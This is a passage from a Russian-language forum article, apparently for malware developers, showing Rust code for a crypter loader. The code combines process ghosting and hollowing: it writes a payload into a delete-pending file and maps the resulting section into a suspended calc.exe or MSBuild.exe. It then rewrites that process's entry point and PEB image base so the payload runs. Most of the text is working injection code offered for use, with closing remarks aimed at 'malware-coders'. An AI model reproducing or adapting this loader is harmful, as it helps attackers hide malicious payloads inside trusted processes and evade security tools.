pub const SEC_RESERVE: PAGE_PROTECTION_FLAGS = 67108864u32;
pub const SEC_WRITECOMBINE: PAGE_PROTECTION_FLAGS = 1073741824u32;

pub const PAGE_ENCLAVE_DECOMMIT: PAGE_PROTECTION_FLAGS = 268435456u32;
pub const PAGE_ENCLAVE_MASK: PAGE_PROTECTION_FLAGS = 268435456u32;
pub const PAGE_ENCLAVE_SS_FIRST: PAGE_PROTECTION_FLAGS = 268435457u32;
pub const PAGE_ENCLAVE_SS_REST: PAGE_PROTECTION_FLAGS = 268435458u32;
pub const PAGE_ENCLAVE_THREAD_CONTROL: PAGE_PROTECTION_FLAGS = 2147483648u32;
pub const PAGE_ENCLAVE_UNVALIDATED: PAGE_PROTECTION_FLAGS = 536870912u32;
pub const PAGE_EXECUTE: PAGE_PROTECTION_FLAGS = 16u32;
pub const PAGE_EXECUTE_READ: PAGE_PROTECTION_FLAGS = 32u32;
pub const PAGE_EXECUTE_READWRITE: PAGE_PROTECTION_FLAGS = 64u32;
pub const PAGE_EXECUTE_WRITECOPY: PAGE_PROTECTION_FLAGS = 128u32;
pub const PAGE_GRAPHICS_COHERENT: PAGE_PROTECTION_FLAGS = 131072u32;
pub const PAGE_GRAPHICS_EXECUTE: PAGE_PROTECTION_FLAGS = 16384u32;
pub const PAGE_GRAPHICS_EXECUTE_READ: PAGE_PROTECTION_FLAGS = 32768u32;
pub const PAGE_GRAPHICS_EXECUTE_READWRITE: PAGE_PROTECTION_FLAGS = 65536u32;
pub const PAGE_GRAPHICS_NOACCESS: PAGE_PROTECTION_FLAGS = 2048u32;
pub const PAGE_GRAPHICS_NOCACHE: PAGE_PROTECTION_FLAGS = 262144u32;
pub const PAGE_GRAPHICS_READONLY: PAGE_PROTECTION_FLAGS = 4096u32;
pub const PAGE_GRAPHICS_READWRITE: PAGE_PROTECTION_FLAGS = 8192u32;
pub const PAGE_GUARD: PAGE_PROTECTION_FLAGS = 256u32;
pub const PAGE_NOACCESS: PAGE_PROTECTION_FLAGS = 1u32;
pub const PAGE_NOCACHE: PAGE_PROTECTION_FLAGS = 512u32;
pub type PAGE_PROTECTION_FLAGS = u32;
pub const PAGE_READONLY: PAGE_PROTECTION_FLAGS = 2u32;
pub const PAGE_READWRITE: PAGE_PROTECTION_FLAGS = 4u32;
pub const PAGE_REVERT_TO_FILE_MAP: PAGE_PROTECTION_FLAGS = 2147483648u32;
pub const PAGE_TARGETS_INVALID: PAGE_PROTECTION_FLAGS = 1073741824u32;
pub const PAGE_TARGETS_NO_UPDATE: PAGE_PROTECTION_FLAGS = 1073741824u32;
pub type PAGE_TYPE = u32;
pub const PAGE_WRITECOMBINE: PAGE_PROTECTION_FLAGS = 1024u32;
pub const PAGE_WRITECOPY: PAGE_PROTECTION_FLAGS = 8u32;

#[repr(C)]
#[derive(Clone, Copy, Default)]
#[allow(non_snake_case)]
pub struct OVERLAPPED {
    pub Internal: usize,
    pub InternalHigh: usize,
    pub Anonymous: OVERLAPPED_0,
    pub hEvent: HANDLE,
}

#[repr(C)]
#[derive(Clone, Copy)]
#[allow(non_snake_case)]
pub union OVERLAPPED_0 {
    pub Anonymous: OVERLAPPED_0_0,
    pub Pointer: *mut core::ffi::c_void,
}
impl Default for OVERLAPPED_0 {
    fn default() -> Self {
        unsafe { core::mem::zeroed() }
    }
}

#[repr(C)]
#[derive(Clone, Copy, Default, PartialEq, Eq)]
#[allow(non_snake_case)]
pub struct OVERLAPPED_0_0 {
    pub Offset: u32,
    pub OffsetHigh: u32,
}

pub fn create_section_from_delete_pendind_file<S: AsRef<widestring::U16CStr> + ?Sized, P: PE>(
    path: &S,
    pe: &P,
) -> PeResult<ScopedHandle> {
    windows_link::link!("ntdll.dll" "system" fn NtCreateSection(
      SectionHandle: PHANDLE,
      DesiredAccess: SECTION_FLAGS,
      ObjectAttributes: PCOBJECT_ATTRIBUTES,
      MaximumSize: PLARGE_INTEGER,
      SectionPageProtection: PAGE_PROTECTION_FLAGS,
      AllocationAttributes: PAGE_PROTECTION_FLAGS,
      FileHandle: HANDLE,
   ) -> NTSTATUS);
    windows_link::link!("kernel32.dll" "system" fn WriteFile(hfile: HANDLE, lpbuffer: *const u8, nnumberofbytestowrite: u32, lpnumberofbyteswritten: *mut u32, lpoverlapped: *mut OVERLAPPED) -> BOOL);
    let file_handle = open_file_for_ghosting(path)?;

    mark_file_delete_pendind(file_handle.0)?;

    let b_res = unsafe {
        WriteFile(
            file_handle.0,
            pe.image_base(),
            pe.image_buffer_size().az::<u32>(),
            ptr::null_mut(),
            ptr::null_mut(),
        )
    };
    if b_res == FALSE {
        return Err(PeError::Win32Error(get_last_error()));
    };

    let mut section = ScopedHandle::default();
    let status = unsafe {
        NtCreateSection(
            &mut section as *mut ScopedHandle as PHANDLE,
            SECTION_ALL_ACCESS,
            ptr::null(),
            ptr::null_mut(),
            PAGE_READONLY,
            SEC_IMAGE,
            file_handle.0,
        )
    };
    if status.is_err() {
        return Err(PeError::NtApiError(status));
    };
    Ok(section)
}

Теперь нам нужно определиться с путём, куда мы будем инжектить нашу полезную нагрузку: большинство делают так называемый селф инжект, то есть в себя, но так как мы хотим поддерживать обе разрядности + .NET, нам такой вариант не подходит.
Code:
fn get_target_path_for_dotnet<P: PE>(pe: &P) -> widestring::U16CString {
    let mut system_root = get_system_root_or_default();
    system_root.push("Microsoft.NET");
    match pe.is_32bit().unwrap_or_default() {
        true => {
            system_root.push("Framework");
        }
        false => {
            system_root.push("Framework64");
        }
    };
    system_root.push("v4.0.30319");
    system_root.push("MSBuild.exe");
    unsafe { widestring::U16CString::from_os_str_unchecked(system_root.as_os_str()) }
}

pub fn get_target_path<P: PE>(pe: &P) -> widestring::U16CString {
    if pe.is_dotnet().unwrap_or_default() {
        return get_target_path_for_dotnet(pe);
    };
    let mut system_root = get_system_root_or_default();
    match pe.is_32bit().unwrap_or_default() {
        true => {
            system_root.push("SysWoW64");
        }
        false => {
            system_root.push("System32");
        }
    };
    system_root.push("calc.exe");
    unsafe { widestring::U16CString::from_os_str_unchecked(system_root.as_os_str()) }
}

Таким образом, для нативного пейлода будет выбираться calc.exe (из папки System32 для 64-битных, из папки SySWoW64 для 32-битных), а для дотнетов мы взяли MsBuild (также две разные версии с разными разрядностями. Обратите внимание, что я захардкодил версию дотнета — вам, возможно, понадобится добавить проверку версии дотнета у вашего пейлода, чтоб загрузить его в соответствующую версию.

Интересный факт: Почему при использовании RunPE-подобных техник нужно обязательно инжектить дотнеты в дотнеты, иначе всё сломается? Дело в том, что, когда функция LdrpInitializeProcess из Ntdll видит дотнетовский бинарь, она грузит в себя Mscoree.dll и патчит точку входа на CorExeMain, вынуждая её вызываться после завершения работы основного загрузчика; когда в дело вступает загрузчик .NET, он, чтоб извлечь метаданные из IMAGE_COR20_HEADER, читает текущий исполняемый файл с диска. Поэтому, когда вы грузите дотнет в нативный бинарь, загрузчик дотнета не может прочитать дотнетовские метаданные с диска, потому что текущий исполняемый файл не имеет соответствующих хэдеров.

Мы уже на финишной прямой. Создадим структуру, которая будет отвечать за отображение секции с нашим пейлода в чужой процесс и перенаправлением его на загрузку нашего пейлода. Для этого он подменит энтри поинт в контексте потока и изменит базовый адрес в PEB.
Code:
use phnt::ffi::{PEB, PEB32, SECTION_INHERIT};

pub const STATUS_IMAGE_NOT_AT_BASE: NTSTATUS = NTSTATUS(0x40000003_u32 as _);

fn bytes_of<T: Copy>(data: &T) -> &[u8] {
    let ptr = data as *const T as *const u8;
    unsafe {
        std::slice::from_raw_parts(ptr, std::mem::size_of::<T>())
    }
}

pub fn process_vm_write<T: Copy>(process: HANDLE, addr: usize, data: &T) -> PeResult<()> {
    windows_link::link!("ntdll.dll" "system" fn NtWriteVirtualMemory(
        process: HANDLE,
        base_address: *const std::ffi::c_void,
        buffer: *const std::ffi::c_void,
        buffer_size: usize,
        bytes_written: *mut usize
    ) -> NTSTATUS);

    let buffer_slice = bytes_of(data);
    let status = unsafe {
        NtWriteVirtualMemory(
            process,
            addr as *const _,
            buffer_slice.as_ptr() as *const _,
            buffer_slice.len(),
            ptr::null_mut(),
        )
    };

    if status.is_err() {
        dprintln!(
            "[-] NtWriteVirtualMemory failed: {:?}",
            status
        );
        return Err(PeError::NtApiError(status));
    };

    Ok(())
}

#[derive(Default, PartialEq, Eq]
pub struct SectionView {
    data: *mut std::ffi::c_void,
    size: usize,
    process: HANDLE,
}

impl SectionView {
    #[inline]
    pub fn new(data: *mut std::ffi::c_void, size: usize, process: HANDLE) -> Self {
        Self {
            data: data,
            size: size,
            process: process,
        }
    }

    pub fn base_address(&self) -> usize {
        self.data as usize
    }

    pub fn size(&self) -> usize {
        self.size
    }

    fn map_buffer_info_process(section: HANDLE, process: HANDLE) -> PeResult<Self> {
        windows_link::link!("ntdll.dll" "system" fn NtMapViewOfSection(
            section_handle: HANDLE,
            process_handle: HANDLE,
            base_address: *mut PVOID,
            zero_bits: usize,
            commit_size: usize,
            section_offset: PLARGE_INTEGER,
            view_size: *mut usize,
            inherit_disposition: SECTION_INHERIT,
            allocation_type: u32,
            page_protection: PAGE_PROTECTION_FLAGS
        ) -> NTSTATUS);

        let mut size = 0;
        let mut base_address = ptr::null_mut();
        let status = unsafe {
            NtMapViewOfSection(
                section,
                process,
                &mut base_address as *mut PVOID,
                0,
                0,
                ptr::null_mut(),
                &mut size as *mut _,
                SECTION_INHERIT::ViewShare,
                0,
                PAGE_READONLY,
            )
        };

        if status.is_err() {
            dprintln!("[-] NtMapViewOfSection failed: {:?}", status);
            return Err(PeError::NtApiError(status));
        };

        if status == STATUS_IMAGE_NOT_AT_BASE {
            dprintln!("[!] Image could not be mapped at preferred base");
        };

        Ok(Self::new(base_address, size, process))
    }

    pub fn rva_to_rva(&self, rva: u32) -> PeResult<usize> {
        let rva = rva as usize;
        if rva > self.size {
            return Err(PeError::OutOfBounds(self.size, rva));
        };
        self.base_address()
            .checked_add(rva)
            .ok_or(PeError::NumericOverflow)
    }

    pub fn redirect_to_payload<P: PE>(&self, payload: &P, thread: HANDLE) -> PeResult<()> {
        let entry_point_rva = payload.get_entry_point_rva()?;
        let is_dotnet = payload.is_dotnet().unwrap_or_default();

        match payload.is_32bit()? {
            true => {
                let new_image_base = self.base_address().az::<u32>();
                let mut ctx = query_thread_context_wow64(thread)?;
                let peb = ctx.Ebx;

                // .NET images don't require to entry point patching, 'cuz
                // ntdll.LdrpInitializeProcess already patch entry point to mscoree.CorExeMain

                if !is_dotnet {
                    //let original_entry_point =  ctx.Eax;
                    let new_entry_point = self.rva_to_rva(entry_point_rva)?;
                    ctx.Eax = new_entry_point.az::<u32>();
                    set_thread_context_wow64(thread, &ctx)?;
                }

                let img_base_ptr = peb
                    .checked_add(std::mem::offset_of!(PEB32, ImageBaseAddress) as u32)
                    .ok_or(PeError::NumericOverflow)?;
                process_vm_write(self.process, img_base_ptr as usize, &new_image_base)?;
            }
            false => {
                let new_image_base = self.base_address() as u64;
                let mut ctx = query_thread_context(thread)?;
                let peb = ctx.Rdx;
                

                // .NET images don't require to entry point patching, 'cuz
                // ntdll.LdrpInitializeProcess already patch entry point to mscoree.CorExeMain
                if !is_dotnet {
                    //let original_entry_point = ctx.Rcx;
                    let new_entry_point = self.rva_to_rva(entry_point_rva)?;
                    ctx.Rcx = new_entry_point as u64;
                    set_thread_context(thread, &ctx)?;
                }

                let img_base_ptr = peb
                    .checked_add(std::mem::offset_of!(PEB, ImageBaseAddress) as u64)
                    .ok_or(PeError::NumericOverflow)?;
                process_vm_write(
                    self.process,
                    img_base_ptr.az::<usize>(),
                    &new_image_base,
                )?;
            }
        };

        Ok(())
    }
}

А теперь просто всё это соединим:
Code:
pub fn ghosted_hollowing<P: PE>(pe: &P) -> PeResult<()> {
    let section = create_section_from_delete_pendind_file(widestring::u16cstr!("MishkaGummybear"), pe)?;
    dprintln!("[+] Section created successfully: {:?}", section.0);

    let target_path = get_target_path(pe);
    dprintln!("[=] Target path for payload: {:?}", target_path);

    let (target_process, target_thread) = win32::create_suspended_process(&target_path)?;
    dprintln!("[=] Suspended process created");

    let mapped_buffer = SectionView::map_buffer_info_process(section.0, target_process.0)?;
    dprintln!("[=] Section is mapped into target process");

    mapped_buffer.redirect_to_payload(pe, target_thread.0)?;

    resume_thread(target_thread.0)?;

    infinity_wait(target_process.0)?;
    infinity_wait(target_thread.0)?;

    Ok(())
}

Теперь, если вы всё сделали правильно, это должно заработать.

8. Вместо заключения

Благодарю тебя, дорогой читатель. Надеюсь, ты смог прочитать всё до конца. Эта статья на несёт в себе цели показать какую-то новую уникальную технику криптования, а, скорее, наоборот, мы написали базовую базу и разобрались в принципах работы каждого крипта — настоящий криптор сможет с закрытыми глазами написать RunPE, если разбудить его среди ночи. Цель моей статьи это, скорее, обзор возможностей Rust, чтоб ты, читатель, мог трезво оценить преимущества и недостатки этого языка. Возможно даже, что я смогу убедить тебя перейти на Rust...

В этой статье мы:
  • Познакомились с форматом PE;
  • Разобрали базовую терминологию криптования(секции, контексты потока, файлы);
  • Познакомились с языком программирования Rust; 
  • Научились взаимодействовать с API ос Windows;
  • Написали свой модифицированный RunPE.
Если вы решите использовать Rust как основной язык, готовьтесь к боли, особенно если до этого вы писали на C/C++ или, не дай бог, на Ассемблере. Поначалу борроу чекер будет раздражать вас, и вы, вероятно, захотите бросить язык. Я тоже прошёл через этот этап, поэтому могу смело заявить: проявите терпение, дайте шанс и не отказывайтесь от языка сразу; как только вы со всем разберётесь, вы испытаете невероятный кайф, что вам не нужно больше собирать через костыли сторонние библиотеки, что у вас есть мощная система макросов, благодаря которой вы можете во время компиляции прочитать файл или сделать запрос в сеть прямо из кода, и что у вас есть нормальный набор инструментов для тестирования, отладки и профилирования.

9. Бонус

Заметил, что многие malware-кодеры пренебрегают тестами. Возможно, это обусловлено сложной настройкой тестов на C, C++. Тесты неотъемлемая и очень важная часть разработки в любой сфере, потому что помогают сохранять работоспособность компонентов, даже при внесении существенных изменений. В Rust тесты встроенный компонент языка. Бонусом оставляю вам пример теста на Rust, чтобы вы понимали как их писать.
Code:
#[cfg(test)]
mod tests {
    use crate::base::win32::nt_current_process;

    use super::*;

    #[test]
    fn test_process_vm_write() {
        let mut a = 2;
        process_vm_write(nt_current_process(), &a as *const i32 as usize, &90i32);
        assert_eq!(a, 90);
    }
}

В данном тесте мы проверяем работоспособность функции process_vm_write()  на переменные находящиеся внутри нашего процесса(для этого в качестве аргумента process мы передаем псеводохэндл текущего процесса равный -1).
Вывод:
Не удалось прогрузить медиа
 

На скрине также есть другие тесты, которые я не показал, если эта тема интересна, пишите, сдлеаю подробный разбор.
Пишите своё мнение об этом языке и о том, что бы вы хотели, чтоб я ещё реализовал на Rust.
👍44 🔥11 😮13 👏6 💯8

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.